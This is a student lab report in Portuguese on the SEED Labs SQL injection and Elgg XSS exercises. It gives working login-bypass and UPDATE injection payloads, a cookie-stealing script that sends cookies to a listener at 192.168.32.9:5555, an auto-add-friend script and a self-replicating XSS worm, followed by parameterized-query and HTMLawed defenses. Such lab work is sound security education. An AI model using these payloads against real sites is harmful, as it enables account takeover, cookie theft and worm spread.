Conteúdo da Prática
1.1 Conteúdo do Experimento
- Ataque e Defesa de Injeção SQL:
- Familiarização com instruções SQL e revisão de sintaxe.
- Injeção SELECT: Exploita vulnerabilidades de validação de entrada em aplicações web para construir instruções maliciosas que contornam a autenticação e acessam o sistema ilegalmente.
- Injeção UPDATE: Utiliza uma interface de modificação de perfil para injetar instruções SQL que alteram dados pessoais no banco de dados.
- Confronto com Vulnerabilidades: Corrige falhas no código para prevenir ataques de injeção SQL.
- Experimento de Ataque por Script Cross-Site (XSS):
- Ataque Básico: Insere scripts JS no perfil do Elgg para exibir pop-ups, mostrar e roubar cookies de usuários.
- Adicionar Amigos Automaticamente: Explora vulnerabilidades XSS para adicionar amigos automaticamente e modificar perfis de vítimas.
- Criar um XSS Worm: Desenvolve um script malicioso auto-replicante que se espalha entre usuários ao visitarem páginas infectadas.
- Defesa contra XSS: Habilita plugins de filtragem segura e escapa entradas de usuários para proteger contra ataques XSS.
1.2 Resumo de Conceitos
- Injeção SQL: Insere instruções SQL maliciosas em campos de entrada do usuário, fazendo com que o backend as execute diretamente, realizando diversos tipos de ataques. A essência é a falta de separação entre dados e código.
- Consulta Parametrizada: Usa prepare+bind_param para separar sintaxe SQL dos dados do usuário, tratando entradas apanas como dados, sendo a defesa principal contra injeção SQL.
- XSS Cross-Site Scripting: Injeta scripts JS maliciosos em páginas web, executados no navegador do usuário, permitindo roubo de informações, controle de operações e propagação de worms.
- XSS Armazenado: Scripts maliciosos são armazenados permanentemente no banco de dados, disparando ataques a todos os usuários que acessam a página.
- XSS Worm: Scripts XSS com capacidade de auto-replicação que alteram perfis de vítimas e inserem seu próprio código, resultando em propagação encadeada onde cada acesso gera nova infecção.
- Plugin HTMLawed: Plugin de segurança integrado ao Elgg que filtra e purifica conteúdo HTML fornecido pelo usuário, removendo tags perigosas como script, sendo ferramenta-chave na defesa contra XSS armazenado.
Processo da Prática
Primeiramente, instalei a máquina virtual SEEDUbuntu 16.04 32-bit conforme requisitos do experimento. Utilizei o comando su - para mudar para o usuário root e hostname 2908Sxl para definir temporariamente o nome do host. Para atender aos requisitos de nomenclatura, naveguei até o diretório /var/www/SQLInjection/. Feito isso, realizei backup dos arquivos: ```
cp unsafe_home.php unsafe_home.php.bak cp unsafe_edit_backend.php unsafe_edit_backend.php.bak
Em seguida, renomeei os arquivos backend, acrescentando meu número de matrícula para evitar interferência no ambiente alvo: ```
mv unsafe_home.php 2908Sxl_unsafe_home.php
mv unsafe_edit_backend.php 2908Sxl_unsafe_edit_backend.php
Finalmente, modifiquei os formulários frontend para direcioná-los para os novos arquivos renomeados: ```
sed -i 's/action="unsafe_home.php"/action="2908Sxl_unsafe_home.php"/g' index.html sed -i 's/action="unsafe_edit_backend.php"/action="2908Sxl_unsafe_edit_backend.php"/g' unsafe_edit_frontend.php
### 2.1 Expreimento de Injeção SQL com SEED
Acessei o MySQL com o comando `mysql -u root -p`, usando a senha padrão `seedubuntu`. Listei os bancos de dados com `show databases;` e selecionei o banco `Users` com `use Users;`. Exibi as tabelas do banco com `show tables;` e encontrei a tabela `credential`. Visualizei os registros da tabela com `select * from credential;`, que contém informações pessoais de funcionários. Consultei um registro específico com `select * from credential where Name = 'Alice';`. #### 2.1.1 Ataque por Injeção SQL na Declaração SELECT
Acessei o site experimental `www.SEEDLabSQLInjection.com`. Inspecionei o código fonte da página para identificar a URL de login, que usa GET para `2908Sxl_unsafe_home.php`. Abri o arquivo PHP `/var/www/SQLInjection/2908Sxl_unsafe_home.php` para procurar possíveis vulnerabilidades de injeção SQL. Encontrei a linha: ```
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'";
Onde $input_uname vem diretamente dos parâmetros GET do usuário sem nenhum tipo de filtro ou escape. Assim, um atacante pode construir valores de username especiais para fechar aspas simples e injetar SQL malicioso. Exemplos de payloads: - Username: admin' OR '1'='1, Password: qualquer valor.
- Username:
admin' #, Password: vazio ou qualquer valor.
2.1.2 Ataque por Injeção SQL na Declaração UPDATE
Usando a injeção anterior, entrei na conta de Alice. No formulário de edição, apenas campos como Nickname e Email podem ser alterados por usuários comuns. Inspecionei o código fonte da página e abri o arquivo backend /var/www/SQLInjection/2908Sxl_unsafe_edit_backend.php. Identifiquei a linha: ```
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";
Onde variáveis como `$input_nickname`, `$input_email`, etc., são inseridas diretamente na consulta SQL sem tratamento algum. Portanto, um atacante pode injetar códigos maliciosos, como `',salary=20252908#`, no campo Nickname para alterar o salário de Alice. Corrigi a injeção adicionando a condição correta: ```
',salary=99999 where name='Alice'#'
2.1.3 Confronto com Injeção SQL
**1. Para a declaração SELECT:**Modifiquei o arquivo /var/www/SQLInjection/2908Sxl_unsafe_home.php para usar consultas parametrizadas: ```
$stmt = $conn->prepare( "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name = ? AND Password = ?" ); $stmt->bind_param("ss", $input_uname, $hashed_pwd); $stmt->execute(); $result = $stmt->get_result();
**2. Para a declaração UPDATE:**Modifiquei o arquivo `/var/www/SQLInjection/2908Sxl_unsafe_edit_backend.php`: ```
if($input_pwd!=''){
$hashed_pwd = sha1($input_pwd);
$_SESSION['pwd']=$hashed_pwd;
$stmt = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=?,PhoneNumber=? WHERE ID=?");
$stmt->bind_param("sssssi", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber, $id);
$stmt->execute();
}else{
$stmt = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? WHERE ID=?");
$stmt->bind_param("ssssi", $input_nickname, $input_email, $input_address, $input_phonenumber, $id);
$stmt->execute();
}
2.2 Experimento de Ataque por Script Cross-Site (XSS) com SEED (Elgg)
2.2.1 Publicar Mensagem Maliciosa, Mostrar Janela de Alerta
Loguei na plataforma Elgg local http://www.xsslabelgg.com com a conta Alice. No campo Brief description, inseri: ```
Ao salvar, uma janela de alerta apareceu, demonstrando sucesso no ataque. #### 2.2.2 Exibir Cookies no Alerta
Substitui o código por: ```
<script>alert(document.cookie);</script>
Salvei e uma janela mostrou os cookies do usuário. #### 2.2.3 Roubar Cookies dos Vítimas
Configurei um servidor de escuta na minha máquina: ```
nc -l 5555 -v
Criei um payload XSS para roubar cookies: ```
<script>
document.write('<img src="http://192.168.32.9:5555?host=cy&c='+escape(document.cookie)+'">');
</script>
2.2.4 Tornar-se Amigo da Vítima
Analisando o tráfego da rede ao adicionar Boby como amigo, identifiquei a URL e parâmetros necessários: ```
http://www.xsslabelgg.com/action/friends/add?friend=44&__elgg_ts=X&__elgg_token=Y
Criei um script para adicionar Alice como amigo automaticamente: ```
<script>
window.onload = function() {
var friend_guid = 44;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var url = "http://www.xsslabelgg.com/action/friends/add?friend=" + friend_guid + ts + token;
var xhr = new XMLHttpRequest();
xhr.open("GET", url, true);
xhr.send();
};
</script>
2.2.5 Modificar Informações da Vítima
Criei um script para modificar informações do perfil da vítima: ```
#### 2.2.6 Criar um XSS Worm
Desenvolvi um script XSS auto-replicante: ```
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id='worm' type='text/javascript'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var guid = "&guid="+elgg.session.user.guid;
var ts = "&__elgg_ts="+elgg.security.token.__elgg_ts;
var token = "&__elgg_token="+elgg.security.token.__elgg_token;
var msg = "Você foi atacado pelo worm 2908Sxl<br>";
var description = msg + wormCode;
var content = token + ts
+ "&description=" + encodeURIComponent(msg) + wormCode
+ "&accesslevel[description]=2"
+ guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var aliceId = 44;
if(elgg.session.user.guid != aliceId){
var xhr = new XMLHttpRequest();
xhr.open("POST", sendurl, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send(content);
}
}
</script>
2.2.7 Defesa contra XSS
Habilitado o plugin HTMLawed no painel de administração do Elgg para filtrar conteúdo HTML fornecido pelos usuários. Problemas Encontrados e Soluções
Problema 1: Ao criar o XSS worm, esqueci de excluir a ID de Alice (44), causando sua própria página ser modificada e interrompendo a propagação. Solução: Adicionei uma verificação no início do script para sair caso o GUID seja igual a 44. ```
var aliceId = 44; if(elgg.session.user.guid == aliceId) { return; }
Resumo
------
Esta prática concluiu os experimentos de ataque e defesa contra injeção SQL e XSS, proporcionando uma compreensão profunda sobre a importância de filtros de entrada em aplicações web. Falhas de validação permitem que atacantes facilmente manipulem sistemas, subtraindo credenciais e realizando outras operações indesejadas. É crucial manter cautela e atenção aos detalhes na implementação de medidas de segurança. Durante a prática, cometi alguns erros, como esquecer de terminar instruções SQL com ponto-e-vírgula e omitir condições de usuário nas injeções UDPATE, resultando em modificações incorretas. Também tive dificuldades na criação do XSS worm devido à falta de filtragem da própria conta. Este experimento demonstrou que compreender os métodos de ataque é essencial para desenvolver defesas eficazes. </div>